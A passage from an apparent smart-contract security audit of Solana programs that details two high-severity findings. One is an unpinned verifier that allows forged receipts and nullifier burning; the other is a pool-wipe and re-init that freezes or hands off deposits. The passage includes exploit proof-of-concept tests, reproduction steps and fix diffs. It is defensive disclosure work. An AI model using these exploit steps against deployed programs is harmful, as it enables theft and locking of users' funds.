LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-private-pool-v2/src/lib.rs
+++ b/solana-private-pool-v2/src/lib.rs
@@ -103,4 +103,23 @@
     let msg_size = u16::from_le_bytes([data[12], data[13]]) as usize;

+    // FIX F04: validate the precompile's three `*_instruction_index`
+    // descriptor fields. The precompile only cryptographically verifies
+    // the pubkey/signature/message of the instruction each index points
+    // at; when an index ≠ 0xFFFF the runtime resolves those bytes from a
+    // DIFFERENT referenced instruction, while this helper still reads ix0's
+    // OWN inline bytes at pk_offset/msg_offset. Without this check an
+    // attacker points the indices at a self-consistent carrier ix (their
+    // own junk sig, or a harvested victim sig over an unrelated message)
+    // and makes the helper return a signer for a message that signer never
+    // signed. Require all three to equal the 0xFFFF self-reference sentinel
+    // so the bytes the precompile verified ARE the bytes we read back.
+    let sig_ix_index = u16::from_le_bytes([data[4], data[5]]);
+    let pk_ix_index = u16::from_le_bytes([data[8], data[9]]);
+    let msg_ix_index = u16::from_le_bytes([data[14], data[15]]);
+    require!(
+        sig_ix_index == u16::MAX && pk_ix_index == u16::MAX && msg_ix_index == u16::MAX,
+        PrivatePoolV2Error::RelayedSigMalformed
+    );
+
     require!(
         data.len() ≥ sig_offset + 64
@@ -158,4 +177,14 @@
 const RELAYED_SCHEDULE_REGISTER_DOMAIN: &[u8] = b"relai-payout-schedule-register:v1:";
 const RELAYED_PERIOD_CANCEL_DOMAIN: &[u8] = b"relai-payout-period-cancel:v1:";
+// FIX F12: dedicated domain for the PER-PERIOD register signature. The
+// old period-register path replayed the schedule-register message (which
+// binds none of the per-period args), so any fee-payer could copy the
+// owner's public schedule-register Ed25519 instruction + the public salt
+// and squat a period with attacker-chosen `(commitment, release_slot)`.
+// The new message binds `schedule_id ++ period_index ++ commitment ++
+// release_slot ++ expires_at_slot` under THIS domain, so the owner's
+// schedule-register signature is no longer valid for period registration,
+// and each period's args are individually authorised by the owner.
+const RELAYED_PERIOD_REGISTER_DOMAIN: &[u8] = b"relai-payout-period-register:v1:";

 // Replay-window guard. The user signs `(domain, payload, expires_at_slot)`
@@ -240,4 +269,26 @@
         asp_authority: Pubkey,
     ) → Result<()> {
+        // FIX F09: bind bootstrap to the program's upgrade authority so
... (diff truncated -- full patch in fix-program/programs/solana-private-pool-v2/src/lib.rs)
```

FINDING 05 / 15

HIGH F05 arbitrary-cpi

Pairing-router accepts any caller-supplied verifier program, so a no-op stub passes the proof gate

INVARIANT The pairing_verifier program is an unpinned UncheckedAccount, so an attacker supplies a no-op verifier and the router PDA signs a forged on-chain match receipt.

AFFECTED CODE

- `programs/solana-payment-match-router-v2/src/lib.rs:134` — `program_id = ctx.accounts.pairing_verifier.key()` : the verify CPI targets a caller-controlled program id.
- `programs/solana-payment-match-router-v2/src/lib.rs:135` — `accounts: vec![]` : the verifier gets no state, so a stateless `Ok(())` stub suffices.
- `programs/solana-payment-match-router-v2/src/lib.rs:138` — `invoke(&verify_ix, ...)` : the only "proof gate" in the whole pairing path; success here is taken as a verified proof.
- `programs/solana-payment-match-router-v2/src/lib.rs:290-292` — `pairing_verifier: UncheckedAccount` , with no `require_keys_eq` / `executable` / `address` constraint.
- `programs/solana-payment-match-router-v2/src/lib.rs:353-359` — `Router` state has `admin` , `match_registry_program` , `pool_program` , `bump` — **no** `pairing_verifier` field to pin against.
- `programs/solana-payment-match-router-v2/src/lib.rs:121` — `require!(proof.len() == 256, ...)` : length-only check; does not validate proof content.
- `programs/solana-payment-match-router-v2/src/lib.rs:153-157` / `195-199` — the registry and pool program ids ARE `require_keys_eq!` -pinned, highlighting the missing verifier pin.
- `programs/solana-payment-match-router-v2/src/lib.rs:160-188` — Step 2 `invoke_signed` of `record_match` with the router PDA (`seeds = [b"payment_match_router_v2", bump]`) as the registry-trusted `submitter` .
- `programs/solana-payment-match-router-v2/src/lib.rs:208-232` — Step 3 `invoke_signed` of `pool.spend_nullifier_by_pairing_router` with the router PDA as the pool's `pairing_router_authority` .
- `programs/solana-payment-match-registry/src/lib.rs:74-77` — `record_match` doc: "stores the facts and does not re-verify them."
- `programs/solana-payment-match-registry/src/lib.rs:187-188` — registry's only gate: `registry.submitter == submitter.key()` .
- `programs/solana-shielded-pool/src/lib.rs:364-368` — pool comment: "The pairing router has already verified the Groth16 pairing proof before reaching this call."
- `programs/solana-shielded-pool/src/lib.rs:379-383` — pool's only gate: `pairing_router_authority.key() == spr_config.spr_pairing_router_authority` .

- `programs/solana-shielded-pool/src/lib.rs:409-412` — the marker's `root` is zero-filled ("Pairing nullifiers don't bind to a Merkle root"), so the pool independently verifies nothing.

DESCRIPTION

The shared shielded pool delegates its entire pairing-proof gate to this router. The pool's `spend_nullifier_by_pairing_router` says so in its own doc comment — "The pairing router has already verified the Groth16 pairing proof before reaching this call — the pool only enforces uniqueness" (`programs/solana-shielded-pool/src/lib.rs:364-368`) — and then authorizes solely on `pairing_router_authority.key() == spr_config.spr_pairing_router_authority` (`solana-shielded-pool/src/lib.rs:379-383`), with no proof, no Merkle root, and a zero-filled root on the marker it writes (`solana-shielded-pool/src/lib.rs:409-412`). The registry is equally trusting: its `record_match` "stores the facts and does not re-verify them" (`programs/solana-payment-match-registry/src/lib.rs:74-77`) and is gated only by `registry.submitter == submitter.key()` (`solana-payment-match-registry/src/lib.rs:187-188`). So the router's Groth16 check is the *only* thing standing between an arbitrary caller and (a) the registry's match ledger and (b) the pool's pairing-nullifier ledger.

The invariant is therefore: a pairing nullifier may be burned / a match recorded **only after a genuine Groth16 pairing proof has been verified against the trusted, code-pinned pairing-verifier program.** Because the pool/registry verify nothing, the router MUST pin the verifier program id.

It does not. In `verify_and_record` , the router builds the verify instruction with `program_id = ctx.accounts.pairing_verifier.key()` (`programs/solana-payment-match-router-v2/src/lib.rs:134`) and `invoke` s it (`solana-payment-match-router-v2/src/lib.rs:138`), where `pairing_verifier` is a bare `UncheckedAccount` (`solana-payment-match-router-v2/src/lib.rs:290-292`). There is **no** **`require_keys_eq!`** against any stored/expected verifier id — the `Router` state struct has no verifier field at all (`solana-payment-match-router-v2/src/lib.rs:353-359`) — and **no** **`.executable`** **check**. `accounts: vec![]` (`solana-payment-match-router-v2/src/lib.rs:135`) means the callee receives no state, so any program that returns `Ok(())` for arbitrary data satisfies "verification."

This is inconsistent with the rest of the codebase, which the router itself half-applies. The same handler pins its *registry* and *pool* program ids — `require_keys_eq!(ctx.accounts.match_registry_program.key(), ctx.accounts.router.match_registry_program)` (`solana-payment-match-router-v2/src/lib.rs:153-157`) and `require_keys_eq!(ctx.accounts.pool_program.key(), ctx.accounts.router.pool_program)` (`solana-payment-match-router-v2/src/lib.rs:195-199`) — but leaves the security-critical verifier slot unbound. The sibling `solana-spr-payout-router` does pin its verifier: it stores `router.redeem_verifier` at init (`programs/solana-spr-payout-router/src/lib.rs:185`) and enforces `require_keys_eq!(ctx.accounts.redeem_verifier.key(), ctx.accounts.router.redeem_verifier)` before CPI-ing it (`solana-spr-payout-router/src/lib.rs:244-248`). This router omits that one check.

The proof-length guard `require!(proof.len() == 256, ...)` (`solana-payment-match-router-v2/src/lib.rs:121`) only constrains the proof's *shape*, never its validity against a trusted verifier.

IMPACT

Any wallet (≈0.01 SOL for rent, no privileged role) can:

- **Forge on-chain match receipts.** A `MatchRecord` for arbitrary quote/payment nullifiers and roots is written into `PaymentMatchRegistry` (which by design does not re-verify), corrupting the facilitator/receipt UI's source of truth and asserting matches that never occurred.
- **Burn arbitrary pairing nullifiers in the shared pool with no proof.** The pairing double-spend invariant is defeated: a nullifier can be marked spent without ever proving a pairing.
- **Grief / lock funds via the shared marker space.** Because `redeem_note`, `payout_by_router`, and this pairing path all write `[b"shielded-nullifier", pool, N]`, an attacker can pre-burn a nullifier equal to a victim's redeem/payout nullifier, causing the victim's later `redeem_note` / `payout_by_router` to collide on `create_pda_account` and revert — the victim's funds become unredeemable (DoS / fund-lock).

Preconditions are only the *normal* configured state (registry submitter and pool pairing authority both set to the router PDA, the intended values). The privilege is **unprivileged**: there is no allowlist on `caller`, and the attacker supplies their own verifier program. No funds are transferred directly by this path, but the forged ledgers and the fund-lock griefing make it a High.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

Proven by two LiteSVM crates run against the **real built `.so` binaries** of `solana_payment_match_router_v2`, `solana_payment_match_registry`, and `solana_shielded_pool` at HEAD `e259188`. The configured pre-state is the *intended* production wiring (registry `submitter == router_v2 PDA`; `spr_config.spr_pairing_router_authority == router_v2 PDA`) — this is not a misconfiguration; the attacker abuses the router's PDA-signing *after* the fake-proof gate.

The attacker's "verifier" is a real SBF program embedded in both crates (`noop_verifier.so`) that returns `Ok(())` for any instruction data — a faithful stand-in for the trivial program any wallet can deploy on devnet/mainnet and pass in the `pairing_verifier` slot. No Groth16 proof is generated. Note this is the verifier *callee* being unbound, not the snark-stub modeling pattern used elsewhere in this audit: here the bug is precisely that the router calls whatever program the caller names, so substituting a no-op program **is** the exploit, executed end-to-end against the real router.

Steps (`l5/L2-20_forgedreceipt`, `unbound_pairing_verifier_forges_receipt_and_pool_nullifier_spend`):

- An unrelated funded wallet (no privileged role; `verify_and_record` requires only `caller: Signer`) calls `verify_and_record` with a 256-byte garbage `proof = vec![0xAB; 256]`,

attacker-chosen `quote_nullifier=[0x11;32]` / `payment_nullifier=[0x22;32]` / roots, and `pairing_verifier` pointed at the attacker's stub.
- Step 1's `invoke(pairing_verifier, ...)` succeeds on the stub (no real Groth16).
- The router `invoke_signed`s `record_match` (router PDA as `submitter`) — the registry writes a `MatchRecord` PDA, and `invoke_signed`s `spend_nullifier_by_pairing_router` (router PDA as `pairing_router_authority`) — the pool mints a `shielded-nullifier` marker.

The single attacker-signed transaction returns `Ok`. The crate then asserts on the real on-chain accounts: the forged `MatchRecord` is registry-owned with `record.submitter == router_pda` and `record.quote_nullifier` / `record.payment_nullifier` equal to the attacker's chosen values, and the pool marker is pool-owned with `marker.root == [0;32]` and `marker.nullifier == payment_nullifier`. Its EXPLOITED line:

> "L2-20 EXPLOITED: a single attacker-signed verify_and_record on the REAL solana_payment_match_router_v2.so — with a 256-byte GARBAGE proof and an attacker-supplied stub pairing_verifier (the router never require_keys_eq!s that slot) — wrote a FORGED MatchRecord (submitter=router_pda, attacker-chosen quote/payment nullifiers) into the REAL registry (which by its own doc stores facts and does not re-verify) AND minted a forged `shielded-nullifier` marker (root zero-filled) for the attacker's payment_nullifier in the REAL shielded pool. No genuine Groth16 pairing proof was ever produced or checked."

The second crate (`l5/L2-14_bearer_frontrun`) proves the same primitive plus its griefing facet. `unbound_verifier_burns_arbitrary_nullifier_with_no_proof` burns an attacker-chosen pool nullifier with no proof and asserts `marker.root==[0;32]`, `marker.nullifier==payment_nullifier`, `marker.relayer==router_pda`:

> "L2-14 EXPLOITED: unbound pairing_verifier + zero proof burned pool nullifier aaaa...aa (root=0, relayer=router PDA) with NO Groth16 -- no attacker privilege required."

`frontrun_preburn_locks_victim_redeem` then pre-burns the nullifier a victim's legitimate `redeem_note` will use; because the pool's redeem path and this pairing path share the identical `[b"shielded-nullifier", pool, N]` marker space, the victim's later `redeem_note(N_victim)` reverts at `create_pda_account` on the pre-existing marker (the collision occurs before the verifier CPI), and the crate asserts the locking marker's `relayer == router_pda` (the attacker path):

> "L2-14 EXPLOITED (front-run DoS): attacker pre-burned victim nullifier 4242...42 via the unbound verifier; victim's legitimate redeem_note reverts on the marker collision -- funds locked."

RECOMMENDED FIX

Pin the verifier program id, exactly as the sibling `solana-spr-payout-router` already does for its `redeem_verifier`:

- Add a `pairing_verifier: Pubkey` field to the `Router` state struct (`solana-payment-match-router-v2/src/lib.rs:353-359`), set it in `initialize` (alongside `match_registry_program` / `pool_program`), guard it against `Pubkey::default()`, and allow rotation via `configure` (mirroring `redeem_verifier` handling in `spr-payout-router` `initialize` / `configure`).

- In `verify_and_record`, before the verify CPI, add `require_keys_eq!(ctx.accounts.pairing_verifier.key(), ctx.accounts.router.pairing_verifier, RouterError::WrongVerifier);` — the same shape as the existing registry/pool pins at L153-157 / L195-199.
- Constrain the account so a non-program / non-executable id cannot be passed: add an `#[account(executable)]`-style or in-body `require!(ctx.accounts.pairing_verifier.executable, ...)` check on the `pairing_verifier` slot (`solana-payment-match-router-v2/src/lib.rs:290-292`).

Defense in depth: because the pool and registry delegate the entire proof gate to the router, consider having the pool/registry independently verify rather than trust the router PDA blindly. At minimum, gate `verify_and_record`'s `caller` to an allowlisted relayer if the design intends only trusted relayers to drive pairings — but the verifier pin above is the necessary and sufficient fix for the proven exploit.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```
//! L2-14 [High] - solana-payment-match-router-v2 binds NOTHING about its
//! `pairing_verifier`: any wallet supplies a no-op verifier + a zero proof and
//! burns an arbitrary nullifier in the SHARED shielded pool with no Groth16.
//!
//! WHAT THIS PROVES (against the REAL built .so files, in LiteSVM):
//!   `verify_and_record` accepts `pairing_verifier` as an unbound
//!   UncheckedAccount (router-v2 lib.rs:292) and CPIs into
//!   `program_id = ctx.accounts.pairing_verifier.key()` (L134/138) with an
//!   attacker-controlled 256-byte proof. The Router state stores no
//!   pairing_verifier field (L353-359) and there is no require_keys_eq!/
//!   executable check. So an attacker deploys a trivial program that returns
//!   Ok(()) for any input, passes it as `pairing_verifier`, ships
//!   proof = vec![0u8;256], and Step-1 "verification" passes with ZERO crypto.
//!   The router then PDA-signs (seeds [b"payment_match_router_v2", bump]) into
//!   `shielded_pool::spend_nullifier_by_pairing_router`, which authorizes SOLELY
//!   on `pairing_router_authority == spr_config.spr_pairing_router_authority`
//!   (shielded-pool L379-383) - satisfied by this router's PDA - and creates the
//!   nullifier marker at [b"shielded-nullifier", pool, N] with root=0, amount=0.
//!
//! TWO PoCs, both end-to-end against the real binaries:
//!   PoC #1  attacker burns a CHOSEN payment_nullifier with no proof; we assert
//!           the pool marker now exists, is POOL-owned, root==[0;32], and the
//!           nullifier field == the attacker's chosen value.
//!   PoC #2  attacker FRONT-RUNS by pre-burning N_victim, then the victim's
//!           legitimate `redeem_note(... nullifier=N_victim ...)` reverts on the
//!           pre-existing marker (create_pda_account `data_is_empty()` fails,

#[test]
fn unbound_verifier_burns_arbitrary_nullifier_with_no_proof() {
    let mut s = stage();
    let attacker = Keypair::new(); // ANY funded wallet -- no privilege.
    s.svm.airdrop(&attacker.pubkey(), 10_000_000_000).unwrap();

    // Attacker-chosen 32-byte nullifiers (both non-zero per registry L86-87).
    let payment_nullifier = [0xAAu8; 32];
    let quote_nullifier = [0xBBu8; 32];


    // ... account/SPL pre-state setup elided for brevity ...

            AccountMeta::new_readonly(token_program(), false),
            AccountMeta::new_readonly(system_program::ID, false),
        ],
        data: rdata,
    };
    let bh = s.svm.latest_blockhash();
    let rtx = Transaction::new_signed_with_payer(
        &[redeem_ix],
        Some(&relayer_kp.pubkey()),
        &[&relayer_kp],
        bh,
    );
    let rres = s.svm.send_transaction(rtx);
    assert!(
        rres.is_err(),
        "victim redeem_note(N_victim) MUST revert -- attacker pre-burned the marker (funds locked)"
    );
```

```
    // The locking marker is the attacker's (relayer == router PDA), NOT a legit redeem.
    let still = s.svm.get_account(&pool_marker).expect("marker persists");
    let (root, null, relayer) = read_marker(&still);
    assert_eq!(root, [0u8; 32], "locking marker came from the zero-root router path");
    assert_eq!(null, n_victim, "it occupies the victim's nullifier slot");
    assert_eq!(relayer, s.router_pda, "created by the attacker's router-v2 tx, not the pool relayer");

    println!(
        "L2-14 EXPLOITED (front-run DoS): attacker pre-burned victim nullifier {} via the \
         unbound verifier; victim's legitimate redeem_note reverts on the marker collision \
         -- funds locked.",
        hex32(&n_victim)
    );
}

// full runnable harness: l5/L2-14_bearer_frontrun/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-payment-match-router-v2/src/lib.rs
+++ b/solana-payment-match-router-v2/src/lib.rs
@@ -69,11 +69,19 @@
         match_registry_program: Pubkey,
         pool_program: Pubkey,
+        // FIX F05: pin the trusted pairing-verifier program id at init,
+        // alongside the registry/pool ids, so `verify_and_record` can
+        // reject a caller-supplied no-op verifier.
+        pairing_verifier: Pubkey,
     ) -> Result<()> {
         require!(match_registry_program != Pubkey::default(), RouterError::ZeroProgram);
         require!(pool_program != Pubkey::default(), RouterError::ZeroProgram);
+        // FIX F05: a zero verifier id would disable the proof gate entirely.
+        require!(pairing_verifier != Pubkey::default(), RouterError::ZeroProgram);
         let router = &mut ctx.accounts.router;
         router.admin = ctx.accounts.admin.key();
         router.match_registry_program = match_registry_program;
         router.pool_program = pool_program;
+        // FIX F05: store the trusted verifier so it can be pinned at use.
+        router.pairing_verifier = pairing_verifier;
         router.bump = ctx.bumps.router;
         emit!(RouterInitialized {
@@ -81,4 +89,5 @@
             match_registry_program,
             pool_program,
+            pairing_verifier,
         });
         Ok(())
@@ -93,4 +102,6 @@
         match_registry_program: Option<Pubkey>,
         pool_program: Option<Pubkey>,
+        // FIX F05: optional rotation of the pinned pairing verifier.
+        pairing_verifier: Option<Pubkey>,
         new_admin: Option<Pubkey>,
     ) -> Result<()> {
@@ -104,7 +115,27 @@
             router.pool_program = next;
         }
+        // FIX F05: allow the admin to rotate the pinned pairing verifier
+        // (mirrors the registry/pool rotation), guarded against the zero id
+        // so a rotation can never silently disable the proof gate.
+        if let Some(next) = pairing_verifier {
+            require!(next != Pubkey::default(), RouterError::ZeroProgram);
+            router.pairing_verifier = next;
+        }
         if let Some(next) = new_admin {
+            // FIX F14: reject the all-zero key. Without this guard an admin
+            // could hand governance to Pubkey::default(), which no signer can
+            // ever produce, permanently bricking `configure`.
```

```
+            require!(next ≠ Pubkey::default(), RouterError::ZeroAdmin);
             router.admin = next;
         }
+        // FIX F15: emit a config-change event so repointing the trusted CPI
... (diff truncated -- full patch in fix-program/programs/solana-payment-match-router-v2/src/lib.rs)
```

FINDING 06 / 15

HIGH F06 missing-state-guard

close_legacy_pool wipes a live, funded shielded pool — freezing depositor funds and enabling a hostile re-init handoff

INVARIANT close_legacy_pool has no live/empty-vault guard, so it destroys a live funded pool (freezing depositors) and enables a hostile re-init over the surviving vault.

AFFECTED CODE

- `programs/solana-shielded-pool/src/lib.rs:72-103` — `close_legacy_pool` body: only `data.len() ⩾ 40` + `data[8..40] == admin`; no discriminator/exact-`LEN` check, no `paused` guard, no vault-empty guard.
- `programs/solana-shielded-pool/src/lib.rs:81` — `require!(data.len() ⩾ 40, …)`: a floor, satisfied by every current-schema pool.
- `programs/solana-shielded-pool/src/lib.rs:82-85` — reads `legacy_admin` from raw `data[8..40]` and requires it == signer; on a live pool that field IS the live `authority`, so the legitimate authority passes.
- `programs/solana-shielded-pool/src/lib.rs:92-101` — sweeps lamports to `admin` and zeroes the pool data → runtime reaps the PDA; the vault ATA is never read or drained.
- `programs/solana-shielded-pool/src/lib.rs:667-686` — `CloseLegacyPool` accounts: `pool` is an `UncheckedAccount` (bypasses Anchor's typed deserialiser), seeds `[b"shielded-pool", usdc_mint]`; `usdc_mint` is unchecked, seed-only.
- `programs/solana-shielded-pool/src/lib.rs:43-49` — `initialize_pool` uses `associated_token::create_idempotent` to ADOPT a pre-existing funded vault ATA after a close (comment states this intent explicitly).
- `programs/solana-shielded-pool/src/lib.rs:24` / `648` — `pool.authority = ctx.accounts.authority.key()`; pool PDA seeds `[b"shielded-pool", usdc_mint]` do NOT bind authority, so re-init is open to any signer and installs a new authority.
- `programs/solana-shielded-pool/src/lib.rs:30,1023-1044` — `initialize_merkle_state` resets `next_leaf_index=0`, `commitment_count=0`, and `root_history` to the empty-tree root.
- `programs/solana-shielded-pool/src/lib.rs:210` + `1082-1090` — `redeem_note` gates on `is_known_root(pool, root_bytes)`; after re-init the old root is absent, so every prior depositor reverts with `UnknownRoot` (6006).
- `programs/solana-shielded-pool/src/lib.rs:105-126` — `configure_pool` lets `pool.authority` repoint `verifier` (and `relayer` / `paused`), the lever the new authority can pull post-handoff.

DESCRIPTION

`close_legacy_pool` is documented as a "Faza 6a recovery" instruction that wipes ONLY a *legacy* `ShieldedPoolAccount` "whose on-chain layout pre-dates the current schema and cannot be deserialised by the modern code path" (`programs/solana-shielded-pool/src/lib.rs:54-71`). The intended invariant (L2-18) is that a wipe-and-reap instruction must apply only to genuinely defunct/ill-formed pools and must never destroy the Merkle state of a live, funded pool in a way that strands user deposits. A companion invariant (L2-35) is that closing/resetting a pool must not leave value recoverable under fresh accounting, and must not let a re-init silently adopt a funded vault with a wiped commitment tree.

The handler enforces neither. Its body (`lib.rs:72-103`) performs exactly two checks:

- `require!(data.len() ⩾ 40, ...)` (`lib.rs:81`) — a length floor, NOT a discriminator or exact- `LEN` match, and not an "is this the stale schema" rejection.
- `require_keys_eq!(legacy_admin, ctx.accounts.admin.key(), ...)` where `legacy_admin` is read from raw `pool.data[8..40]` (`lib.rs:82-85`).

A fully current, live `ShieldedPoolAccount` satisfies both: `data.len() == ShieldedPoolAccount::LEN` (far above 40), and offset `8..40` is exactly the live `authority` field in the current layout (the struct is `disc(8) authority(32)@8 relayer(32)@40 …`). So the legitimate pool authority — the only party who can pass the `data[8..40] == admin` check — passes it on a LIVE, current-schema pool. There is no `paused` guard and no check that the associated `pool_vault` is empty. The doc comment claims this only touches "ill-formed" pools, but nothing in code enforces that.

When it fires, the handler zeroes the pool PDA's data and sweeps its lamports to `admin` (`lib.rs:92-101`); the runtime then reaps the now-empty, 0-lamport, all-zero program-owned account. Critically, the USDC does NOT live in the pool PDA — it lives in a SEPARATE vault ATA (`ata(pool, mint)` , owned by the SPL Token program), which `close_legacy_pool` never touches. The funds survive; the commitment tree does not.

The second half of the defect is in `initialize_pool` (`lib.rs:22-52`). It (a) derives the pool PDA from seeds `[b"shielded-pool", usdc_mint]` (`lib.rs:648`) which do NOT bind the authority — so ANY signer can re-init at the same address and lands as `pool.authority` (`lib.rs:24`); (b) calls `associated_token::create_idempotent` (`lib.rs:49`), explicitly to "adopt" a vault ATA that survived a prior `close_legacy_pool` (the comment at `lib.rs:43-48` says exactly this); and (c) calls `initialize_merkle_state` (`lib.rs:30` → `1023-1044`), which resets `next_leaf_index = 0` , `commitment_count = 0` , and `root_history` to a single empty-tree root.

The result is a freshly-reset commitment tree sitting over a still-funded vault. Every pre-close depositor's note hangs off a Merkle root that no longer exists in `root_history` , and `redeem_note` gates on exactly that: `require!(is_known_root(&ctx.accounts.pool, root_bytes), ShieldedPoolError::UnknownRoot)` at `lib.rs:210` . That check now fails for every legacy depositor — their funds are frozen in the adopted vault.

IMPACT

Two outcomes from one root defect:

- (a) Frozen deposits: every pre-close depositor's note references a Merkle root that the wipe-and-reinit erased from `root_history`, so their `redeem_note` reverts `UnknownRoot` permanently. Their USDC remains in the adopted vault but is unredeemable through the pool-root path.
- (b) Hostile handoff: because the pool PDA seeds don't bind authority, the re-init can be sent by anyone and installs a new `pool.authority` over the surviving funded vault. That new authority can then `configure_pool` the `verifier` to a rubber-stamp program and drain the vault via `redeem_note` with a self-generated known root. (Independently, the router path of Finding F01 can extract the surviving vault funds without depending on the pool root at all.)

Privilege — honest framing (do NOT read "U/A" as unilateral-unprivileged): the dangerous `close_legacy_pool` step is authority-gated — only the current pool authority can pass the `data[8..40] == admin` check, so the externally-exploitable trigger is an authority FOOTGUN (mistaking a live pool for a legacy one) OR a key compromise of the authority. Only the second-stage re-init (on the already-reaped PDA) is unprivileged: once the authority has closed the pool, ANY signer can win the re-init and seize control of the funded vault. An external attacker cannot perform the close unilaterally; the High rating reflects the combined sequence and the size of what it strands/hands off.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

Two harnesses prove the two facets end-to-end against the REAL built `solana_shielded_pool.so` in LiteSVM. Both run the program's own `initialize_pool` + `deposit_note` so the root `R0` is a GENUINE on-chain Merkle root (not synthetic); only the SPL Mint and the depositor's funded ATA are hand-built. No Groth16 verifier is needed — the freeze is proven by a revert at the `is_known_root` gate (`lib.rs:210`), which fires BEFORE any verifier CPI.

Facet (a) — freeze (`l5/L2-18_close_legacy`):

- `initialize_pool(relayer, verifier)` creates the live, current-schema pool PDA and the vault ATA.
- `deposit_note(commitment, 1_000 USDC)` funds the vault and pushes a real root `R0` into `root_history`.
- The pool authority calls `close_legacy_pool` on this LIVE, FUNDED pool — it SUCCEEDS (the `data[8..40] == admin` check is satisfied by the live `authority`). The pool PDA is zeroed/reaped; the 1,000 USDC survives in the separate vault ATA.
- `initialize_pool` is re-run at the same seeds; `create_idempotent` re-adopts the funded vault, and `initialize_merkle_state` wipes `root_history` (latest_root becomes the empty-tree root, `≠ R0`).

- `redeem_note(root = R0, …)` reverts with `UnknownRoot` (custom 6006 / `0x176e`) — before the verifier CPI, so no valid proof can rescue the depositor.

Green outcome: `L2-18 EXPLOITED: close_legacy_pool destroyed a LIVE funded pool; re-init adopted the 1000000000 USDC vault and wiped root R0; relayer redeem_note(R0) reverts UnknownRoot (6006) — all prior depositor funds permanently frozen.`

Facet (b) — hostile authority handoff (`l5/L2-35_reinit_handoff`):

Steps 1-3 identical (original admin closes the live funded pool). At step 4 a DIFFERENT signer (`attacker_admin`) sends the re-init at the same `[b"shielded-pool", usdc_mint]` seeds; because the seeds don't bind authority, the attacker lands as `pool.authority`. Three exploit assertions hold simultaneously: (a) `pool.authority == attacker_admin` (control handed off), (b) `next_leaf_index == 0` and `R_old` is gone from `root_history` (tree reset, prior notes orphaned), (c) the 1,000 USDC is still in the re-adopted vault. The legacy depositor's `redeem_note(R_old)` again reverts `UnknownRoot`.

Green outcome: `L2-35 EXPLOITED: close_legacy_pool wiped a LIVE funded pool; re-init at the same seeds installed a NEW authority (BgdXwHVT4YaaEgj1BBpDB5m7JHhAKBpNNXdXTnSa7r1w) over the surviving 1000000000 USDC vault, reset next_leaf_index=0 and wiped R_old from root_history; legacy depositor redeem_note(R_old) reverts UnknownRoot (6006) — funded vault handed off under fresh accounting, prior notes orphaned.`

RECOMMENDED FIX

Close the wipe instruction so it cannot touch a live pool, and bind the re-init so it cannot silently adopt a funded vault under a new authority:

- In `close_legacy_pool`, gate on the pool actually being legacy/defunct and the vault being empty, and require a pause:
- Reject any account whose `data.len() == ShieldedPoolAccount::LEN` and/or whose 8-byte Anchor discriminator matches the current `ShieldedPoolAccount` — i.e. only proceed when the buffer is genuinely the stale, non-deserialisable shape the comment describes.
- Require the associated `pool_vault` ATA balance to be zero before zeroing/sweeping (pin its token-account authority to the pool PDA and its mint to the pool's `usdc_mint` (the same `validate_token_account` check every other handler applies), then assert `amount == 0` — without this pin an authority-level caller can substitute a foreign, attacker-owned empty token account to satisfy the gate and wipe the pool while the real vault stays funded).
- Require `pool.paused == true` (read from the same raw offset) so a live pool cannot be wiped without an explicit, separate pause step.
- Make re-init non-silent and authority-stable:
- Have `initialize_pool` reject (or refuse to adopt) a `pool_vault` that already holds a non-zero balance — replace `create_idempotent` with `create`, or assert the adopted ATA balance is zero, so a re-init can never inherit a funded vault.
- If recovery genuinely needs to re-create a pool over the same mint, bind a deployer/authority component into the PDA seeds (e.g. `[b"shielded-pool", usdc_mint, expected_authority]`) or require the re-init signer to equal the prior authority, so the close→reinit window cannot be race-won by an arbitrary signer to seize the funded vault.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-18 [High] - solana-shielded-pool `close_legacy_pool` destroys a LIVE funded
//! pool's Merkle state and (via idempotent re-init) freezes all depositor funds.
//!
//! WHAT THIS PROVES (against the REAL built solana_shielded_pool.so, in LiteSVM):
//!   `close_legacy_pool` is a "Faza 6a recovery" instruction meant to wipe ONLY
//!   ill-formed / legacy pool PDAs, but it has NO guard that the target is actually
//!   legacy/defunct: no length/discriminator check, no `paused` guard, no vault-empty
//!   guard. Its sole authorization (lib.rs:80-85) reads raw `pool.data[8..40]` and
//!   requires it == `admin.key()`. On a CURRENT-SCHEMA pool offset 8 IS the live
//!   `authority` field, so the legitimate pool authority passes the check on a LIVE,
//!   FUNDED pool. The handler zeroes the pool PDA + sweeps lamports to admin (L92-101)
//!   - the runtime reaps the account - but the USDC sits in a SEPARATE vault ATA and is
//!   untouched. The authority then re-runs `initialize_pool`; because the handler uses
//!   `associated_token::create_idempotent` (L43-49) it ADOPTS the surviving funded
//!   vault ATA while `initialize_merkle_state` resets root_history to empty. Every prior
//!   depositor's valid Merkle root R0 is now ABSENT from root_history, so `redeem_note`'s
//!   `require!(is_known_root(...))` (L210) reverts with UnknownRoot (custom 6006) for all
//!   of them BEFORE the verifier CPI - funds permanently frozen in the adopted vault.
//!
//! METHOD: we run the REAL instructions end-to-end. `initialize_pool` + `deposit_note`
//! exercise the program's own ATA-create CPI and poseidon Merkle insert, so R0 is a
//! GENUINE on-chain root, not a synthetic one. The only state we install by hand is the
//! SPL Mint and the depositor's funded ATA (avoids the spl-token / anchor crate deps that
//! skew against solana-program 2.2 - we build the 82/165-byte SPL layouts manually).
//!
//! GROUND TRUTH (programs/solana-shielded-pool/src/lib.rs @ HEAD e259188):

#[test]
fn close_legacy_pool_on_live_pool_then_reinit_freezes_funds() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    let authority = Keypair::new(); // pool.authority == admin gate target
    let depositor = Keypair::new();
    let relayer = Keypair::new(); // pool.relayer - the only redeem caller
